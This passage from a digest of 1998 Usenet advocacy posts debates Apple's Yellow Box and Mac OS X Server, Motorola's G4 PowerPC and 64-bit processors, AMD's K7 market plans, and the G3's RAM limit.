technologies; something tells me Jobs isn't going for that idea.
MJP
From: dfevans@bbcr.uwaterloo.ca (David Evans)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: 16 Oct 1998 21:22:03 GMT
Organization: University of Waterloo
Message-ID: <908572923.29618@watserv4.uwaterloo.ca>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com> <FE7C55DE5ABCFEBB.5AFB02838ABD3140.095ED5AEA6ABAEA1@library-proxy.airnews.net> <707m7d$bma$1@nnrp02.primenet.com> <7080r8$s7j$1@news.xmission.com>
Cache-Post-Path: watserv4.uwaterloo.ca!unknown@bcr11.uwaterloo.ca
In article <7080r8$s7j$1@news.xmission.com>,
Don Yacktman <don@misckit.com> wrote:
>John Jensen <jjens@primenet.com> wrote:
>>
>> For those who believed in "stealth development", we now have "stealth
>> release" ?
>
>NeXT was famous for it's "stealth marketing", which eventually turned into
>demarketing...
>
Don--how can you forget the "stealth release" of 4.0? At least the plan has
a precident...
--
David Evans (NeXTMail/MIME OK) dfevans@bbcr.uwaterloo.ca
Computer/Synth Junkie http://bbcr.uwaterloo.ca/~dfevans/
University of Waterloo "Default is the value selected by the composer
Ontario, Canada overridden by your command." - Roland TR-707 Manual
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Apple as Linux vendor
Date: Fri, 16 Oct 1998 11:14:07 -0500
Organization: Ericsson North America Inc.
Message-ID: <362770CF.A5D012A6@ericsson.com>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news>
<gmgraves-0510981119560001@sf-usr1-32-160.dialup.slip.net> <keyes-ya02408000R0510981738490001@news>
<gmgraves-0510982055390001@sj-pm4-9-169.dialup.slip.net> <6vr3b4$gv0$1@nnrp03.primenet.com>
<FIiROLCWddLd-pn2-02PrLskVRerX@localhost> <3622e542.417730905@enews.newsguy.com>
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Maury Markowitz wrote:
> Does anyone have a URL direct to the article?
http://www.MacKiDO.com/Opinion/AppleLinux.html
> YB could be fitted above practically anything, but there are serious
> gains to be made by making it "direct".
The simplest and most effective solution is to place a quality YB
implementation directly on top of the OS. The major twist is the fact
that Apple has burned its DPS bridges, making an XDPS backend impossible
without licensing fees (fees which many of us would gladly pay, both as
users and as developers with a product to distribute). There is a weaker
XDGS option.
Alternatively, Apple could create its own XQDe backend. The fact that
this is the only solution that makes solid sense firmly convinces me
that Linux YB isn't going to happen anytime soon.
> More importantly GNOME doesn't
> show any real signs of being "ready" any time soon, and attaching YB over
> it's object model sounds like a really bad idea to me.
It is. Building on GNOME makes such little sense that I can't imagine
it's being seriously discussed within Apple. As little faith as I have
in Apple, they could build a GNOME replacement in less than a month,
assuming they wanted such a thing. And it would probably actually work,
too...
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
Date: Fri, 16 Oct 1998 14:40:15 -0500
Organization: Ericsson North America Inc.
Message-ID: <3627A11F.ADC8CFFE@ericsson.com>
References: <3626A8A1.A166967B@nstar.net> <706h84$nmt$1@supernews.com>
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Donald R. McGregor wrote:
> Steve has said he wants to turn over the product lines every nine
> months or so. So you'd expect a replacement for the G3's coming
> up before too long. And I didn't catch "hemorrhage" in the
> high end. Consumer sales increased, which drove down overall margins
> a bit, but I didn't see a corresponding drop in the low end.
> From sales = 2(consumer) + 8(pro) to sales = 4(consumer) + 8(pro).
> (No actual numbers were troubled during this simulation.)
No offense intended: your numbers are fundamentally wrong. Yes, I know
Jobs calls the current desktops the "Pro" line. They are anything but.
There has been no drop in high-end sales because Apple's previous
shipments to high-end markets have recently hovered right around $0
yearly.
We're running low-end dual-333 MHz Pentium II machines for Linux and NT
development. Somewhere in the (oh, call it $6,000) range, with
hot-swappable 300W power supplies, SCSI 3 disks, and dual-Fast Ethernet
hookups. Pure Intel-branded equipment.
Even if you could show me anything Apple ships in this range, I'd still
be waiting for you to point to the high-end stuff.
[cut]
MJP
Message-ID: <3627893A.A296560B@mci.com>
From: David Hinz <David.Hinz@mci.com>
Organization: MCI WorldCom
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
References: <705opt$5ms@newsb.netnews.att.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Fri, 16 Oct 1998 11:58:18 -0600
NNTP-Posting-Date: Fri, 16 Oct 1998 17:55:44 GMT
Are the PowerPC G3 and G4 64-bit processors? If not, has anyone heard
what Motorola's plans are for releasing a 64-bit processor in the Gx
series? Of course the next question is, when will Mac OS X be 64-bit?!?
david.
gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> Motorola made a presentation about the G4 PowerPC at the Microprocessor
> Forum yesterday (Oct. 14) but it hasn't made the news; the first item
> was a brief quote from Henry Knorr at the MacCentral website;
>
> the second is at :
>
> http://webserv.vnunet.com/www_user/plsql/pkg_vnu_homepage.homepage
>
> and follow the link.
>
> "Microprocessor Forum : Motorola G4 on course for mid-1999 production"
> by Tony Smith
>
> Motorola PowerPC project manager Paul Reed is quoted as saying :
>
> a. the new chip will offer between 10 and 15 times the performance of
> the current PowerPC 750 (at doing what???)
>
> b. It will be aimed at the embedded market as well as Apple's market.
>
> c. It is the first Altivec PowerPC.
>
> d. The G4 supports between 512 KBytes and 2 MB of backside L2 cache,
> connected via 64-bit or 128-bit buses.
>
> e. "Multiple G4s can access each other' caches" offering improved
> multi-processing performance.
>
> f. 0.2micron, copper process, 83mm * 83 mm die, 10.5 million transistors
> < 8W at 400 MHz.
>
> Nothing added to Knorr's notes.
>
> -arun gupta
--
=====================================================
= David Hinz MCI WorldCom =
= Internet and New Media Development =
= Email: David.Hinz@MCI.com Phone: (303) 390-6108 =
= Vnet: 636-6108 Fax: (303) 390-6365 =
= Pager: 1-888-900-5732 (Interactive 2-way) =
=====================================================
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple as Linux vendor
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References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news>
<F0xG4H.5Co@T-FCN.Net> <FIiROLCWddLd-pn2-CkcI6L9GcQM0@localhost>
Mime-Version: 1.0
Date: Fri, 16 Oct 1998 23:09:40 GMT
In <FIiROLCWddLd-pn2-CkcI6L9GcQM0@localhost> taiQ wrote:
> What would be involved with making it "direct"
A directly supported version would basically require a port of the QTML
over (which is likely not terribly difficult) and porting over a smallish
number of servers (in the mach sense) and re-coding them to use Linux's
threading packages, finally there's the object runtime. That's basically
the majority of it, and it would be FAR easier to port it to Linux than to
NT, which they've already done.
The project is certainly _possible_, likely not terribly hard, and of
some benefit to both parties.
> and what would be the benefits?
Several big ones...
a) a superb GUI engine with consistant and superbly powerful functionity,
YB contains the most powerful group of "basic" GUI objects I've even
_heard_ of. For instance even the most basic text field supports smart
cut-n-paste, drang-n-drop, embedded pictures, rulers, paragraph styles,
full PS font control, automatic typography (ligatures, kerning etc.), spell
checking, unicode support, ability to flow around holes, multilingual
support etc.
b) superb programming tools to build programs based on that GUI. Every
time I try to describe it people write me off as some blind religeous nut,
so I don't try any more. Suffice it to say I picked up the entire system
in 5 days, with no prior programming knowledge, and now we're on beta 6 of
our commercial app.
c) a reasonably good (better than anything in the "rest" of the Unix world
by leaps) desktop enviornment, similar to the Mac and growning more so,
while being somewhat more powerful as well as time goes on. Basically it's
far ahead of the Mac and PC now, making it that much farther ahead of the
Unix systems I've used to date (this one excepted of course) and I don't
see that ranking changing. One neato example is Filters and Services,
which hunt down utilities on your HD to do invisible data conversion, so if
you paste a PNG into a program that only understands TIFF, it will find
another program on the disk that knows both, get it to convert it to TIFF,
and paste in the TIFF - all in the time when you hit Paste. Services allow
CLI utils and scripts (and PERL in my own case) and any other program
(including GUI ones) to interact with the internals of your app. For
instance I have some Perl that re-quotes text in messages to clean it up, I
simply select the text in question and do a command-shift-' and it grabs
the selection, pipes it to the Perl, then pipes the output back into the
app and pastes. Very cool.
> And would YB apps still play well GNOME-based apps?
Dunno, but frankly I don't think you'd care after a short period of time.
> IIRC GNOME is expected to go "1.0" by early or mid next year. In what
> respects do you find the GNOME model lacking? It's only at v0.30 now
That's the part I find lacking. I don't share your faith that this
product is going to go from .3 to 1. in the next 6 months to a year, and
frankly the current pace of development doesn't lead me to believe it will
ever be done (or at least in a time frame where anyone would end up caring).
Also of concern (although I don't give my own opinion my weight in this
part) GNOME bears an uncanny resemblence to the
objects-on-CORBA-for-object-level-cross platform-GUI that Apple and IBM
tried a few years back, Taligent. Taligent was a failure for a number of
reasons but a lot of that has to do with the enviornment they used (CORBA
with C++ IIRC). Since YB already has gods-own object management system
(well, let's say a good one and leave it at that) re-coding to support
tools that no one would use after getting YB seems like a rather unworthy
ideal.
Let's put it this way, YB is a stable, mature and FAR more powerful
version of a GNOME-a-like that's already been available for some time now.
GNUStep is a FAR more worthy project than GNOME, but the market it's
groking that. Instead it's back to the pile the new crap on the old turn
(X) in the belief that if the pile gets big enough it will suddenly start
smelling nice. Sorry, colour me skeptical. Building YB on top of this
shaky pile when a direct port is likely to be FAR eaiser, smaller and
faster (less overhead) in order to support a project that's had problems of
it's own seems unreasonable.
Maury
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple as Linux vendor
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<gmgraves-0510981119560001@sf-usr1-32-160.dialup.slip.net> <keyes-ya02408000R0510981738490001@news>
<gmgraves-0510982055390001@sj-pm4-9-169.dialup.slip.net> <6vr3b4$gv0$1@nnrp03.primenet.com>
<FIiROLCWddLd-pn2-02PrLskVRerX@localhost> <3622e542.417730905@enews.newsguy.com>
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<slrn727bpq.lcs.jedi@dementia.mishnet> <adtF0u3v1.G0C@netcom.com>
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<36275FD9.8C6A7B8C@cadence.com> <FIiROLCWddLd-pn2-SXsHZPje1VLd@localhost>
Mime-Version: 1.0
Date: Fri, 16 Oct 1998 23:15:56 GMT
In <FIiROLCWddLd-pn2-SXsHZPje1VLd@localhost> taiQ wrote:
> > > > There is an interesting piece on www.mackido.com that is sure to
> raise the
> > > > hackles of any good linux user, but it contains an interesting
> notion:
>
> See <http://www.MacKiDO.com/Opinion/AppleLinux.html> for a suggestion
> about Mac OS (Carbon) APIs for Linux...
The problem is that it's a technologically naive idea. There's all sorts
of problems to consider, not the least of which are bit-ordering and
interrupt processing, all to offer something that's not really better than
what's there now (although a lot prettier).
> I believe Apple would've preferred quicker migration to YB; after all,
> the original strategy didn't go beyond Blue Box. It was largely
> created to please the Mac/Windows crossplatform behemoth ISVs who
> didn't want to start using YB "from scratch". YB/Linux would make
> Yellow Box development more attractive to developers while
> Carbon/Linux could actually stall the migration altogether if Carbon
> remains (eh, becomes) the more popular API. While Carbonizing makes
> "tuned" Mac OS apps finally run the way gods originally intended, YB
> still has further benefits.
You touch on one VERY important point that I don't think Apple's too
serious about - that the value of YB increases geometrically with the
number of platforms it runs on. The same is NOT true of something like
Carbon, where the only true purpose would be to bring existing Mac software
over - I doubt anyone would ever consider it as a _development_ platform
under Unixen. It simply doesn't offer anything, in fact it's lacking much
in comparison.
Maury
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Fri, 16 Oct 1998 19:17:05 -0500
Organization: none
Message-ID: <tim-1610981917060001@jump-tnt-0198.customer.jump.net>
References: <705opt$5ms@newsb.netnews.att.com> <3627893A.A296560B@mci.com>
In article <3627893A.A296560B@mci.com>, David.Hinz@mci.com wrote:
| Are the PowerPC G3 and G4 64-bit processors? If not, has anyone heard
| what Motorola's plans are for releasing a 64-bit processor in the Gx
| series? Of course the next question is, when will Mac OS X be 64-bit?!?
Why do you want 64-bit processors? Are you really running out of the 4GB
address space on your desktop machine?
--
-- Tim Olson
From: erick@sfu.ca (Erick Bryce Wong)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 17 Oct 1998 00:23:03 GMT
Organization: Simon Fraser University
Message-ID: <708o17$bc2$1@morgoth.sfu.ca>
References: <705opt$5ms@newsb.netnews.att.com> <jc1-1510982232450001@ip169.austin9.tx.pub-ip.psi.net> <707jgm$8h1@newsb.netnews.att.com> <see-below-1610981532540001@dynamic45.pm09.mv.best.com>
Dohnut <see-below@not-my-address.invalid> wrote:
>gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>> I suppose it is a typo and should read 83 mm x mm.
>
>Yes, I really don't think the silicon chip in a G4 is going to be 3-1/4"
>on a side!
Sure it is! In fact, the *real* reason the iMac has no floppy is that the
next-generation iMac G4 is going to have a slot in the front where you can
insert 3.5" square coprocessor disks... :)
Even the the mammoth 100 million transistor Alpha 21364 (which looks to be
a killer, btw...estimated SPECint/fp 70/120!) is only 350 mm^2 or so.
Sounds like a case of reading the symbols too literally, interpreting 83mm^2
as "83 millimetres square", rather than "83 square millimetres". Really, no
worse than Excel parsing -10^2 as (-10)^2 = 100 rather than -100... ;)
-- Erick
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Fri, 16 Oct 1998 22:33:45 -0500
Organization: none
Message-ID: <tim-1610982233450001@jump-tnt-0185.customer.jump.net>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171>
I wrote:
| >Why do you want 64-bit processors? Are you really running out of the 4GB
| >address space on your desktop machine?
In article <B24D52F0-27B86@206.165.43.171>, "Lawson English"
<english@primenet.com> replied:
| There ARE times when having 64-bit data registers would be nice, even if
| the rest of the system is still a 32-bit CPU. I wouldn't mind being able to
| blit in 128-bit chunks so that AltiVec-type loads and stores don't get
| slowed by a relatively narrow bus.
Agreed, but the larger (64-bit, 128-bit) registers are mostly useful for
improving bandwidth to/from cache, and for operating on short vectors of
smaller data as in AltiVec, MMX, etc.
N.B. the generally accepted definition of a 64-bit processor is one that:
* has 64-bit general-purpose registers
* has instructions which operate on full 64-bit quantities
* has a virtual address space of 64 bits
* has a physical address space > 32 bits
which says nothing about bus widths, cache bandwidth, etc.
The recently announced PowerPC processor (Max) with Altivec is still a
32-bit processor, even though it has:
* 32 fairly general-purpose 128-bit registers
* 128-bit bus to L2 cache
* 64-bit bus to main memory
--
-- Tim Olson
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X server delays
Content-Type: text/plain; charset=us-ascii
Message-ID: <F0xGu7.5wH@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: greg@afs.com
Organization: My ISP puts something here if I don't.
References: <6vhtq2$r5o$1@nnrp1.dejanews.com> <alex-0810981011500001@cs48-149.austin.rr.com>
<361D0F2A.22B8@earthlink.net> <alex-0910981100530001@cs48-17.austin.rr.com>
<6vssuu$9n2$1@wbnws01.ne.highway1.com> <6vtl94$irm$1@msunews.cl.msu.edu>
<alex-1410981457570001@cs48-8.austin.rr.com> <707ivu$fq9$1@nnrp1.dejanews.com>
<707oc4$dmq@shelob.afs.com>
Mime-Version: 1.0
Date: Fri, 16 Oct 1998 16:08:31 GMT
In <707oc4$dmq@shelob.afs.com> "Greg Anderson" wrote:
> MOSXS does NOT have a shelf. Instead, you're supposed to use the Workspace
> as a parking place. I much prefer the built-in shelf. Because as Alex
> said,
> if your files are well organized, 5 or 6 "memorized" locations is
> generally
> enough.
Well frankly after having used both I stopped using Spectre yesterday and
don't miss it at all. The only thing I want back is animated icons. I
just keep alias's on the dekstop and it basically works identically to the
shelf, with the exception that the rather confusing difference in interface
to show running vs. non-running "goes away". I dunno, it's a wash for me.
> I also really really really wish MOSXS (and OPENSTEP, for that matter)
> supported the equivalent of cut/copy/paste *keystrokes* in the file
> viewer,
> just like the Windows Explorer. In general, I think Explorer is a piece of
> crap (tree-views are among the worst possible mechanisms for displaying
> hierarchical filesystems, don't get me started), but I do like being able
> to
> select a set of files, press Ctrl-C, click a new location in a divergent
> path in the same viewer, then simply press Ctrl-V to paste a copy.
Yup, it's handy and rather natural. Back in '92 I was teaching someone
how to use a Mac, and when we got to file moving she jumped ahead and said
"I just cut and paste them, right?". I should have been able to say yes.
Interestingly the MacOS DOES support this but the result isn't what you
think - when you copy a selection in the Finder if puts the filenames on
the clip. With OS's filters though we can easily support both with a
single action (paste the files into a text field/editor and you get the
filenames).
Maury
####################################################################
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 17 Oct 98 02:44:09 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B24DB4FB-1C4D2@206.165.43.124>
References: <36283399.7BE30CBE@trilithon.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.powerpc.advocacy
Henry McGilton <henry@trilithon.com> insisted on adding _ad hominem_
comments to an otherwise cordial thread by saying:
>
> * In article <B24D52F0-27B86@206.165.43.171>, "Lawson English"
> * <english@primenet.com> replied:
>
> * * There ARE times when having 64-bit data registers would
> * * be nice, even if the rest of the system is still a 32-bit
> * * CPU. I wouldn't mind being able to blit in 128-bit chunks
> * * so that AltiVec-type loads and stores don't get slowed
> * * by a relatively narrow bus.
>Missing the point, but so what's new?
What point?
I indicated that there were applications where having wider registers and
data buses would be useful, even if the rest of the system were still
32-bit.
You indicated that I am a moron.
Um....
Yeah.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 17 Oct 1998 05:34:12 GMT
Organization: University of Illinois at Chicago
Message-ID: <709a8k$2rlo$1@piglet.cc.uic.edu>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171>
Lawson English (english@primenet.com) wrote:
: Tim Olson <tim@jumpnet.com> said:
: >In article <3627893A.A296560B@mci.com>, David.Hinz@mci.com wrote:
: >
: >| Are the PowerPC G3 and G4 64-bit processors? If not, has anyone heard
: >| what Motorola's plans are for releasing a 64-bit processor in the Gx
: >| series? Of course the next question is, when will Mac OS X be 64-bit?!?
: >
: >Why do you want 64-bit processors? Are you really running out of the 4GB
: >address space on your desktop machine?
: There ARE times when having 64-bit data registers would be nice, even if
: the rest of the system is still a 32-bit CPU. I wouldn't mind being able to
: blit in 128-bit chunks so that AltiVec-type loads and stores don't get
: slowed by a relatively narrow bus.
: ----------------------------------------------------------------------
: Want Apple to license Cyberdog for third-party development? Go to:
: <http://www.pcsincnet.com/petition.html>
: ----------------------------------------------------------------------
Apparently the G4 will have the option of using a 128 bit system
SMP bus (as well as a wider 128 bit cache interface). It can also
use the 60X bus, so it can be used on current systems. So AltiVec
should not be slowed down. My question is whether a double
data rate capability will be added. 3.2 GB/s sustainable
bandwidth would be pretty impressive.
So how are the 10.5 million transistors being used? Obviously,
they've added AltiVec and increased tags to support 2MB caches.
They would have added transistors for the extra cache states,
and for the new system interface and wider data paths. But that
doesn't seem like it would account for 4 million transistors.
Anil
Message-ID: <36283399.7BE30CBE@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <tim-1610982233450001@jump-tnt-0185.customer.jump.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: Sat, 17 Oct 1998 02:02:25 EDT
Date: Fri, 16 Oct 1998 23:05:13 -0700
Tim Olson wrote:
* I wrote:
* Why do you want 64-bit processors? Are you really running out
* of the 4GB address space on your desktop machine?
64-bit processors have nothing to do with the price of cement.
It's the large address space that's important to the future of
computing, *especially* distributed-object computing.
* In article <B24D52F0-27B86@206.165.43.171>, "Lawson English"
* <english@primenet.com> replied:
* * There ARE times when having 64-bit data registers would
* * be nice, even if the rest of the system is still a 32-bit
* * CPU. I wouldn't mind being able to blit in 128-bit chunks
* * so that AltiVec-type loads and stores don't get slowed
* * by a relatively narrow bus.
Missing the point, but so what's new?
* Agreed, but the larger (64-bit, 128-bit) registers are mostly
* useful for improving bandwidth to/from cache, and for operating
* on short vectors of smaller data as in AltiVec, MMX, etc.
* N.B. the generally accepted definition of a 64-bit processor
* is one that:
* * has 64-bit general-purpose registers
* * has instructions which operate on full 64-bit quantities
* * has a virtual address space of 64 bits
* * has a physical address space > 32 bits
This is the real point --- what can you do with huge address spaces?
How does it affect the way you think about the world and about the
way you organise your code? A 64-bit [byte-addressable] address
space is around 18 million trillion bytes. Well, you can store the
entire planet's air-ocean-land weather model, with nine
double-precision variables per point down to a resolution of one
metre.
Back in the early 1970s I worked on the venerable CDC Star-100
and Star-65 machines. They were 64-bit registers with a slightly
oddball 48-bit --- bit-addressable --- address space. Still,
a byte-addressable space of 45 bits gives you an addressable
space of around 35 trillion bytes.
With huge address spaces, you gain a qualitative way of thinking
about the world, as opposed to just being able to allocate bigger
chunks of memory.
One example is memory-mapped files. Granted, memory-mapped files
were around in the days of Multics. But the notion of not having
I/O per se buys you a lot in terms of the way you do business.
Never have to deal with 'buffers' and all that rot. Map the
entire file into memory and treat it as an array. The concept
took a long time to catch on, probably because it was too simple
for the average propellor-head.
Or think about really huge object-oriented distributed databases
on enormous networks. All of those objects floating through the
ozone need unique IDs, yes? If your networks are large enough
and you instantiate a sufficiently large number of objects,
you'll run out of unique object IDs pretty soon with 32-bit
addresses. 64-bit spaces gives you some breathing room for the
next hundred years or so.
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 16 Oct 1998 16:02:46 GMT
Organization: University of Illinois at Chicago
Message-ID: <707qn6$1esq$1@piglet.cc.uic.edu>
References: <705opt$5ms@newsb.netnews.att.com> <36267547.0@news.depaul.edu> <36267a3b.39375399@nntp.service.ohio-state.edu> <36268A98.FED2648E@nstar.net> <706khr$2p7i$1@piglet.cc.uic.edu> <3626F305.41B09CB2@nstar.net>
Michael J. Peck (mjpeck@nstar.net) wrote:
: Anil T Maliyekke wrote:
: > No one is going to exit the low-cost market.
: Someone's going to have to. RISE, IDT, and several other new companies
: are walking in the back door.
: > That's going to be the
: > major component of the market if everyone's offerings are competitive.
: Cyrix is just getting its breath, but its chips will take their toll on
: the "low end". AMD is definitely not sticking around. Sanders said that
: AMD's chips needed to sell for an average of $100 in 1998 just to break
: even, and that they were looking for much better than that in 1999.
: Trust me, AMD is looking for more money than the sub-$1,000 market can
: afford. 3DNow! was the signal that they intend to be competitive in the
: gaming market, and with K7 they're going to sweep Intel along the entire
: desktop right up to workstations, or that's the plan, anyway.
The problem is that the sub-$1000 market will likely pull in the
corporate desktop market as well. There recently was a poll that
indicated that certain segments of the business market (manufacturing
was one of them) are interested in systems based on non-Intel
CPUs due to cost reasons. I fully expect that CPU vendors will
have to deal with this reality, and they will be able to do so
with die shrinks. But none of them are going to be able to
pull out of the sub $1,000 market without taking a huge hit
in revenue. When AMD brings out the K7 for higher end desktop
market, prices are going to fall in that market.
: As for low-end performance, it looks like the 3D chip manufacturers have
: finally conquered the gaming craze and are actually beginning to exceed
: demand for new products. In any case, CPU performance for the latest
: games is becoming less and less of a factor. When you can run Quake II
: at 1600x1200 with a RIVA TNT and a decent CPU, there's not much left but
: waiting around for Quake: Arena to up the ante.
: > Vendors will get the best price the CPU vendor can offer, if the CPU
: > vendor wants to keep that account. However, the K7 will have
: > a problem getting into the high end server market.
: The K7 isn't intended for servers. That's not AMD's target market.
If they were designing in the capability to use 8MB caches,
they probably are going after the server market. Technical workstations,
at least if you consider SPEC fp a good benchmark for technical
applications, usually won't benefit from such a large cache.
: > There's going to be a
: > lot more resistance here to removing Intel CPUs, even with Compaq and
: > IBM who both have every reason to want to shake lose of Intel. AMD
: > will have to provide the same level of support that Intel does to
: > server vendors, and that takes money.
: Servers are not going to be based on 32-bit processors for much longer.
: PowerPC, Alpha, and IA-64 are going to be the drug of choice in the
: low-cost server market, and SPARC and PA-RISC will sustain their markets
: at least until 2001.
I think SPARC and PA-RISC will have an easier time growing than Alpha
will. They have far larger user and software bases than all of the Alpha
OSes combined. I don't see that changing until well into the next decade.
As for servers, while the market may shift to 64 bit processors, for the
vast majority of users there won't be any real need for 64 bit address
spaces. So if 32 bit servers are widely available and cheaper, most
organizations will go for them. However, you need to realize that by
server I'm referring to file, print, mail and Web servers which actually
dominate the market. People requiring large databases and running ERP apps
will increasingly opt for 64 bit servers, but most of them have been
inclined to buy 64 bit hardware from IBM, HP, and Sun rather than
Digital/Compaq. Indeed IBM and Sun have been able to increase unit
sales by pricing the OS and hardware relatively low, when compared
to HP and Digital.
: > They may be able to get into dual
: > CPU server and workstation market, but it will take awhile. Large
: > systems will take even longer.
: Again, K7 is targeted for mid-to-high range desktops and workstations.
: That means the market currently occupied solely by 333-450 MHz Pentium
: IIs.
: > What I would like to see is AMD, NatSemi, and company define a 64 bit
: > extension of the x86 architecture and then implement it. They could
: > probably get Microsoft's support, which is what really matters.
: > That would really screw up Intel and HP's plans with Merced.
: Not very likely. If AMD can drive future K7s into the 64-bit market,
: which I doubt, it will be the de facto alternative, anyway. If not,
: there's little point in speculating.
: I think Intel's been dropping pretty clear hints that it intends to grow
: the Unix market as much as possible, which means that it wants to be the
: premier Unix workstation and server powerhouse. AMD has its work cut out
: for it, but it's pretty clear by now that Intel is abandoning the fray
: of the consumer market for the most part, leaving the mop-up to the new
: upstarts. There's little point, anyway, in chasing fewer and fewer
: dollars in Best Buy machines whose patrons don't care what chip they're
: running anyway. The Cyrix guy who predicted PC-on-a-chip products within
: a short time was probably right.
Intel can not afford to abandon any market, especially a growing market.
To maintain the premium on their stock price they have to grow revenues.
If they lose the consumer desktop market, they'll lose the corporate
desktop within a couple of years. They can't rely on low volume, high
margin markets like servers or workstations to grow or maintain their
revenues. Their success has been based on being able to dilute
their development expenses over the huge volumes created by the
desktop and notebook markets.
As for the UNIX market, I think Intel is going about things the wrong
way. Trying to get every single UNIX vendor to port their OSes
over to IA-64 is just going to create massive confusion and doubt
in customers. And it's just going to weaken the companies offering
UNIX. Besides the more Intel tries, the more likely Microsoft will
find a way of promoting another hardware platform and delaying
support for IA-64.
: MJP
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: Top G3 Config. Hardware/Software Q:
Message-ID: <cdoutyF0xnL6.LMy@netcom.com>
Keywords: PowerPC G3, Mac OS X, Mac OS X Server, RAM, Limit
Sender: cdouty@netcom4.netcom.com
Organization: Netcom Online Services
References: <703m87$3fb@news.vbe.com>
Date: Fri, 16 Oct 1998 18:34:18 GMT
In article <703m87$3fb@news.vbe.com>,
Jennifer Smith <jsmith@deleteme.gnyg.com> wrote:
>Can someone please point out if there is a flaw in my understanding and
>thinking. This is a very seriously inquiry and not a trick or leading
>question to goat anyone into a flame fest or a troll trampling.
>
>I want to support magnificent and superior Apple hardware. However, when
>looking into Apple's top systems (end-user and server), I was shocked to
>learn that for the G3 line there is a board level limit of 384 MB's of RAM.
>What's up with this? I sense a fatal flaw here regardless of how much
>caching one wishes to brag about or how many PII's we toast. How could this
>be especially with Mac OS X Server and Mac OS X on the horizon which are
>suppose to be industrial strength? Am I missing something simple here?
>There would be nothing like putting an great operating system on a piece of
>hardware which is so limited. What's a woman to do in this case - wait for
>deliverance?
>
>I welcome any clarifying feedback and thoughts anyone can provide. Direct
>replies are preferred.
The current G3 hardware was "intended" to replace the 6500 line. It most
definitely is not "high-end." The confluence of various events caused a
truly high-end machine to be lacking for the current time period.
Apparently the rumored PowerExpress motherboard project failed as
engineering projects occassionally do.
The PPC750 turnned out to be faster than expected, so AIM stopped
development of other G3 class processors. The G2 processors (the 603 and
604) had two main lines, an inexpensive and low-power model and one where
cost and the power budget were higher. It seems that the G3 development
schedule overlapped with the G4 schedule such that the high cost and
power G3 chip would be available when the first G4 chips would be, so AIM
scrapped it. It makes excellent business sense, esspecially from IBM and
Motorola's point of view.
The Apple/NeXT merger also caused quite a shakeup in Apple development.
Steve Jobs killed a lot of projects in the move to cut costs, focus
resources, and improve Apple's image. It seems to be working, but
Apple's current hardware offerings are cramped for some jobs.
Who knows what the future brings? Apple has decided to flesh out their
